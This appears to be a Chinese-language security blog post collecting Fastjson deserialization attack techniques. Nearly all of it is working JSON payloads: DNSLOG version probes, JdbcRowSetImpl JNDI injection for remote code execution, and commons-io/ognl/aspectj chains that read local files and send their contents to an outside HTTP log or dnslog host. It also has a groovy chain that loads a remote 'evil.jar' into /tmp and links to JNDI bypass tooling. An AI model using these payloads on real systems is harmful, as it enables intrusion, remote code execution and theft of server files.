一个人在年轻的时候,没有什么能把他搞垮——奥尼尔
分享一个Fastjson
姿势技巧集合:
https://github.com/safe6Sec/Fastjson
Fastjson
Fastjson姿势技巧集合
说明
- 本项目涉及的一些姿势和payload是从之前的随手记的笔记直接粘进来的,很多找不到出处了所以来源未贴出来,望师傅们见谅。
- 高版本的很多细节还有待更新。
- 浅蓝Kcon议题内容由@su18师傅整理
- 各版本复现payload来自@kezibei师傅,我原项目基础上加了maven依赖,做了一点代码修改。
各版本payload复现
https://github.com/safe6Sec/ShiroAndFastJson
判断是否用了fastjson
鉴别fastjson
DNSLOG
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
根据解析变化
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
根据响应状态
{"@type":"whatever"}
鉴别org.json
特殊字符
{a:'\r'}
鉴别gson
浮点类型精度丢失
{a:1.111111111111111111111111111}
注释符
#\r\n{a:1}
鉴别jackson
浮点类型精度丢失
{a:1.111111111111111111111111111}
注释符
{a:1}/*#aaaa
不支持单引号作为界定符
{'a':'b'}
多余的类成员
{"name":"a","age":18}
探测
延迟探测
原理同ssrf漏洞。请求本机已开放端口不延时,请求不开放的端口则延时。
fastjson 1.1.15-1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
通用payload,可用于parseObject的场景
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8088/badClassName", "autoCommit":true}}""}
fastjson 1.2.9-1.2.47
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://localhost:808/badNameClass", "autoCommit":true } }
通用payload,可用于parseObject的场景
{"@type":"com.alibaba.fastjson.JSONObject",{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://localhost:8088/badNameClass", "autoCommit":true } }}""}
Fastjson 1.2.36 - 1.2.62
利用正则dos洞,进行探测。逐步加a,直到延迟为止
{ "regex":{ "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']" }, "blue":"aaaaaaaaaaaa!" }
参考https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA
异常回显
异常回显 fastjson 精确版本号
{ "@type": "java.lang.AutoCloseable"
dns探测
主要是利用各个类被加入黑名单的方式进行判断,但此方法准确性不高。
原理重点关注MiscCodec处理时会去nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解。
fastjson <1.2.43
{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
fastjson <1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}
fastjson <1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {{"@type":"java.net.URL","val":"http://dnslog"}:0
精确探索autoType是否开启,开启后能打更多payload
https://github.com/pen4uin/awesome-java-security/tree/main/alibaba fastjson
[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]
关键rce版本探测
1.2.24 版本,用上面的延时探测即可
1.2.47 版本
[ { "@type": "java.lang.Class", "val": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "dnslog" } } ]
1.2.68版本
[ { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "dnslog" } } ]
1.2.80 版本探测 如果收到了两个 dns 请求,则证明使用了 1.2.83 版本 如果收到了一个 dns 请求,则证明使用了 1.2.80 版本
[ { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "first.dnslog.cn" } } }, { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "second.dnslog.cn" } } } ]
探测环境
- org.springframework.web.bind.annotation.RequestMapping
- org.apache.catalina.startup.Tomcat
- groovy.lang.GroovyShell
- com.mysql.jdbc.Driver
- java.net.http.HttpClient
如果系统存在这个类,会返回一个类实例,如果不存在会返回 null
{ "z": { "@type": "java.lang.Class", "val": "org.springframework.web.bind.annotation.RequestMapping" } } { "z": { "@type": "java.lang.Class", "val": "java.net.http.HttpClient" } }
通过使用 Character 将报错回显在 message 中
{ "x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class", "val": "com.mysql.jdbc.Driver" }}
通过使用 DNSLOG 来探测依赖库
{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"}}, "country":"gv.su18.dnslog.pw" }} }
文件写,结合 commons-io 代码(stream 里面写 68 的 payload)
{"x":[{"@type":"java.lang.Exception","@type":"ognl.OgnlException",},{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": } }}]}
aspectj + ognl 任意文件读取 + DNSLOG 回显
打入白名单
[{ "@type":"java.lang.Exception", "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" }, { "@type":"java.lang.Class", "val":{ "@type":"java.lang.String"{ "@type":"java.util.Locale", "val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", "newAnnotationProcessorUnits":[{}] } } }, { "x":{ "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"aaa" } }]
aspectj + ognl 文件读取加 DNSLOG 回显
{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"/Users/su18/Downloads/1.txt"},"b": {"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}
commons-io + ognl + URLReader 单字节文件读取(回显情况观察数值)
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},"su16":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///Users/su18/Downloads/1.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98]}] }}}},"su17" : {"$ref":"$.su16.node.p.stream"},"su18":{ "$ref":"$.su17.bOM.bytes"}}
commons-io + ognl + URLReader 单字节文件读取(报错布尔)
[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}}}, {"su17":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///Users/su18/Downloads/1.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98]}] }}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{ "$ref":"$[3].su18.bOM.bytes"}},{"su20":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[5].su20.node.p.stream"}}]
commons-io + ognl + URLReader 单字节文件读取 HTTPLog 布尔回显(错误的时候有 log,正确时 无 log)
[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}}}, {"su17":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///Users/su18/Downloads/1.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98]}] }}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{ "$ref":"$[3].su18.bOM.bytes"}},{"su22":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://120.48.129.28:8080/test?","country":{"@type":"java.lang.String"{"$ref":"98"}}}}}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su23" : {"$ref":"$[5].su22.node.p.stream"}},{"su20":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[7].su20.node.p.stream"}}]
aspectj 读文件 + Character 报错回显
{ "@type":"java.lang.Character"{"c":{ "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", "fileName":"/Users/su18/Downloads/1.txt"}}
commons-io + ognl + URLReader + aspectj HTTP Log 回显
{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type":"java.lang.String" "@type":"ognl.OgnlException", "_evaluation":""}},"su16":{ "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream":{ "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://x.x.x.x:8080/test?","country":{"@type":"java.lang.String"[{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"/Users/su18/Downloads/1.txt"}]}}}}, "charsetName": "UTF-8", "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}},"su17" : {"$ref":"$.su16.node.p.stream"}}
groovy 远程类加载
加白名单
{ "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{ }
远程类加载
{ "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type": "org.codehaus.groovy.control.CompilerConfiguration", "classpathList":["http://.x.x.x:8080/evil.jar"] }, "gcl":null, "destDir": "/tmp" }
利用链挖掘
https://xz.aliyun.com/t/7789#toc-4
主要用codeql进行挖掘
/** @kind path-problem */ import java import semmle.code.java.dataflow.FlowSources import semmle.code.java.dataflow.TaintTracking2 import DataFlow2::PathGraph class JNDIMethod extends Method{ JNDIMethod(){ this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and this.hasName("lookup") } } class MyTaintTrackingConfiguration extends TaintTracking2::Configuration { MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" } override predicate isSource(DataFlow::Node source) { exists(FieldAccess fac| source.asExpr() = fac ) } override predicate isSink(DataFlow::Node sink) { exists(MethodAccess call | call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0) ) } } from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink where config.hasFlowPath(source, sink) select source.getNode(), source, sink, sink.getNode()
各版本利用
除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。(更高版本也有绕过)
更高版本绕过可用https://github.com/veracode-research/rogue-jndi
- jndi
- JdbcRowSetImpl
- C3p0#JndiRefForwardingDataSource
- JndiDataSourceFactory
- bcel
- tomcat#dbcp
- ibatis
- TemplatesImpl
Fastjson姿势技巧集合2:https://developer.aliyun.com/article/1384559